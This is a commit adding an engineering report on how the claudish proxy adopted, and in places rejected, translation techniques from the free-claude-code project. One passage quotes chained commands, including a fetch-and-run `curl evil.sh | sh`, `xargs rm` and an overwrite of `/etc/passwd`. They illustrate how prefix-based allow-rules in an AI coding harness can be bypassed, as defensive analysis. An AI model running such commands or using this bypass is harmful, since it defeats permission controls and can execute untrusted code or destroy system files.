Skip to content

Claude Code. Any Model. The most powerful AI coding agent now speaks every language.

docs(reports): record the free-claude-code translation findings

Jack Rudenko5084905bc6eb
diff --git a/ai-docs/reports/translation-fixes-from-free-claude-code.md b/ai-docs/reports/translation-fixes-from-free-claude-code.md
new file mode 100644
index 00000000..193e9a23
--- /dev/null
+++ b/ai-docs/reports/translation-fixes-from-free-claude-code.md
@@ -0,0 +1,178 @@
+# Adopting free-claude-code's translation techniques — findings
+
+Shipped as **v9.5.0** (16 items) and **v9.6.1** (four defects the live verification found).
+Session artifacts lived in a gitignored directory; this is the durable record.
+
+Source: read-only comparison of claudish against
+[`Alishahryar1/free-claude-code`](https://github.com/Alishahryar1/free-claude-code) (FCC —
+Python, MIT, ~55k stars, clone @ `22d9d19`).
+
+## What FCC does better, and what claudish does better
+
+FCC is stronger on **request-side fidelity and stream-state discipline**: a real tool-history
+ledger, a reversible tool-name codec, schema-typed text-tool parsing, chunk-safe `<think>`
+parsing, pre-name argument buffering, cache-aware usage, one-open-block-at-a-time emission.
+
+claudish is stronger wherever behaviour was **measured against a real client**: truncation and
+refusal reporting, not executing truncated tool JSON, errors riding an HTTP 200, the 400-remap
+contract, billing-header stripping, per-model effort clamping from the catalog, the native
+Gemini wire — and its fixtures are real captures.
+
+Deliberately **not** adopted:
+
+- FCC's local short-circuit of Claude Code utility calls, and its **command-prefix mocking**.
+ `extract_command_prefix` (`fcc/api/command_utils.py:25-77`) returns `npm install` for
+ `npm install && curl evil.sh | sh`, `ls` for `ls | xargs rm`, and `cat` for
+ `cat x > /etc/passwd`. If a harness matches allow-rules against that prefix, a chained
+ command passes as the allowed one.
+- FCC's mid-stream continuation and **tool-argument suffix repair**. A schema-valid suffix
+ such as `"}` can "complete" a truncated `Write.content`, writing a truncated file silently.
+
+## What shipped
+
+16 of 17 items. Item 15 (Responses reasoning replay) was **deferred**: `buildPayload` runs at
+`composed-handler.ts:470` while credentials resolve at `:594`, so the credential fingerprint
+cannot exist at that layer, and `conversationKey()` returns a process-wide `randomBytes(16)`
+with no session id — so under `serve` a foreign reasoning blob would have **validated**. The
+design claimed a silent drop; the real behaviour would have been a silent accept.
+
+Three defects were proven by running code before any fix existed:
+
+1. An empty-string required argument counted as missing, so **every `Edit` that deletes text**
+ had its tool call discarded and replaced by a warning block.
+2. Tool-argument fragments arriving before `function.name` were dropped, losing the call.
+3. A stream cut mid tool-call with no `finish_reason` was reported as a **successful empty turn**.
+
+## Money: why item 6 cannot change a bill today
+
+No pricing source in the tree carries a cache-read rate — `SlimModelEntry` has no pricing
+field at all, and `ModelPricing` has exactly `inputCostPer1M` / `outputCostPer1M`. So the
+cache discount is written as a **subtraction** whose rate defaults to `inputCostPer1M`, making
+the term provably zero until a rate appears.
+
+`min(cacheReadTokens, billedInputTokens)` is load-bearing: `updateWithDelta` charges only
+context *growth*, so without the clamp the discount exceeds the charge and `sessionTotalCost`
+goes negative — on the real Grok capture, subtracting 20,352 tokens' worth from a 27-token
+charge.
+
+`onTokenUpdate`'s first argument stays the **full** `prompt_tokens`. Anthropic's wire semantics
+exclude cache reads from `input_tokens`, so passing the reduced value would report a nearly
+full conversation as almost empty and silently disarm auto-compaction.
+
+## Lessons that generalise beyond this work
+
+### A green suite proved nothing four times running
+
+Design and code were each reviewed twice (internal + external). **All four rounds returned
+FAIL** while `typecheck`, `lint` and 3,400+ tests were green. Every defect they caught was
+invisible to the automated gate:
+
+- a tool name the client never advertised (encoder paired with a decoder-less wire)
+- a retry path that never ran for unknown models
+- one block index given two full lifecycles, double-counting the tool-observation hook
+- **two fixes whose tests stayed green when the fix was reverted**
+
+### Stale written records beat fresh reading, twice
+
+The design counted emit sites from a **comment** at `openai-sse.ts:211` rather than the file.
+Real counts: 10 starts, 17 stops, 7 tool starts. Separately, the recorded "2 known test
+failures" baseline was obsolete — those tests had been gated behind `test.skipIf`.
+
+### `extract-sse-from-log.ts` merged concurrent streams
+
+It assumed one conversation per log. With two overlapping upstream requests it interleaved
+them, producing a fixture carrying a foreign `finish_reason: "stop"` that would have made the
+item-1 regression test pass **with or without** the fix. Caught by hand; fixed in v9.6.1 by
+keying on upstream response id. **Any fixture previously mined from a busy log is suspect.**
+Anthropic streams remain inseparable — their deltas carry no id.
+
+### The local test suite spends real money
+
+`packages/cli/src/handlers/default-provider-e2e.test.ts` gated only on credential presence, so
+on a machine with credentials it always called real providers — it billed OpenRouter and xAI
+during this work's own baseline, and fell through to metered providers when two subscription
+plans hit 429. Fixed to honour `CLAUDISH_SKIP_LIVE_E2E`. Consequence worth remembering: a
+suite whose failure count tracks quota balance **cannot be a regression baseline**.
+
+### A worktree's first test run is meaningless
+
+`git worktree add` copies tracked files, not `node_modules`. The first baseline reported
+17 failures and 14 errors, all environmental (`Cannot find module '@opentui/react/jsx-runtime'`).
+
+### `ssh-add -l` says an agent was empty; it does not say which agent answered
+
+Fifteen commits landed unsigned. `ssh-add -l` reported "The agent has no identities", which
+reads as a locked vault. The vault was fine: `SSH_AUTH_SOCK` pointed at
+`/var/run/com.apple.launchd.…/Listeners` while the keys live in 1Password's socket under
+`~/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock`. **Check
+`echo $SSH_AUTH_SOCK` before concluding anything from `ssh-add -l`.**
+
+### `--theirs` during a rebase means the commit being replayed
+
+A concurrent session released v9.6.0 mid-flight, conflicting the version files. `git checkout
+--theirs` yielded *our* 9.5.1, not main's 9.6.0 — the opposite of the intuition. The bump had
+to be re-targeted to 9.6.1 explicitly; taking either side would have published a version
+lower than what was already on npm.
+
+### A green release workflow is not a published package
+
+v9.5.0's workflow went green while the per-version manifest returned 404 —
+`Your package is being processed`. v9.6.1's release job then failed three times on
+`Headers Timeout Error` uploading the larger binaries, leaving an incomplete **draft** and
+blocking `publish-npm` (which declares `needs: release`). The tell that it was upstream
+flakiness and not a defect: individual `✅ Uploaded` lines succeeded while others returned
+GitHub's HTML error page, and the eventual successful run took **25 seconds** against a
+7m36s timeout. **Verify the per-version manifest, never `npm view`.**
+
+## Live verification: what a mock upstream reaches that providers cannot
+
+Round 1 verified 10 of 16 items against the published artifact and left 6 unreachable, because
+Claude Code never sends those shapes. Two instruments closed the gap:
+
+1. **`claudish serve` + `curl`** — construct request shapes the client never produces. This is
+ how `tool_choice:{"type":"any"}`, a 65-char tool name, `source.type:"url"` images, adjacent
+ user messages and reversed tool results were all proven.
+2. **A mock OpenAI-compatible upstream** — replay streams no provider produces on demand, and
+ **record the exact outbound body**. That recording settled a question inference could not:
+ claudish emits `stop: ['ZZZ']` and `top_p: 0.5`, so the Grok subscription proxy is what
+ ignores `stop` (or rejects it, with `GrokModelDialect.recoverFromRejection` stripping and
+ retrying — indistinguishable from the client).
+
+### Which providers emit which shapes — measured, not assumed
+
+- **No `<think>` tags are reachable locally.** Ollama normalizes them into a separate field on
+ *both* endpoints: `reasoning` on `/v1/chat/completions`, `thinking` on `/api/chat`. Both
+ `lfm2.5:8b` and `qwen3.5:0.8b-mlx` return `content: ""` with reasoning split out. No `.sse`
+ capture in this repo contains a raw tag.
+- **Two real models refuse to overflow.** `[email protected]:8b` accepted a 2.7 MB payload and
+ answered normally; `kimi-k2.6` (stated 262K context) accepted **400,093 input tokens**.
+- **`[email protected]` is an OpenAI-shaped wire** despite `transport: "grok-subscription"` — the
+ transport subclasses `OpenAIProviderTransport`. A first, wrong explanation of the
+ stop_sequences result relied on it not being one.
+
+## The v9.6.1 defects
+
+1. **`<tool_call>`-wrapped envelopes silently corrupted tool arguments.**
+ `parseFunctionTagEnvelope` required the body to start with `<function=`, so the wrapped form
+ Qwen/Hermes models actually emit fell through to the legacy regex, which swallowed the
+ closing tags into the value:
+ ```
+ wrapped {"city":"Paris</parameter></function></tool_call>"}
+ unwrapped {"city":"Paris"}
+ ```
+ The parser was correct; its **entry condition** was too narrow.
+2. `extract-sse-from-log.ts` stream separation (above).
+3. `--models --provider` reported nothing for a **provider shortcut** without explaining why, and
+ silently ignored the `--provider=<slug>` form. Partly a false alarm on my part: `x-ai`,
+ `z-ai` and `moonshotai` all worked; only `moonshot` was empty, and correctly so.
+4. Item 9's `array`/`object` coercion and item 12's guard gained tests that fail when reverted.
+
+## Still untested, and why
+
+- **Item 5's end-to-end ordering** (`reasoning_content` after text through `openai-sse.ts`).
+ Measured: no capture in the tree has that ordering. Becomes covered free the moment one
+ lands — `block-nesting.test.ts` discovers captures by content.
+- **Item 6's discounted branch** — unreachable until a pricing source supplies
+ `cacheReadCostPer1M`.
+
+Both are honest gaps under the real-captures-only rule, not oversights.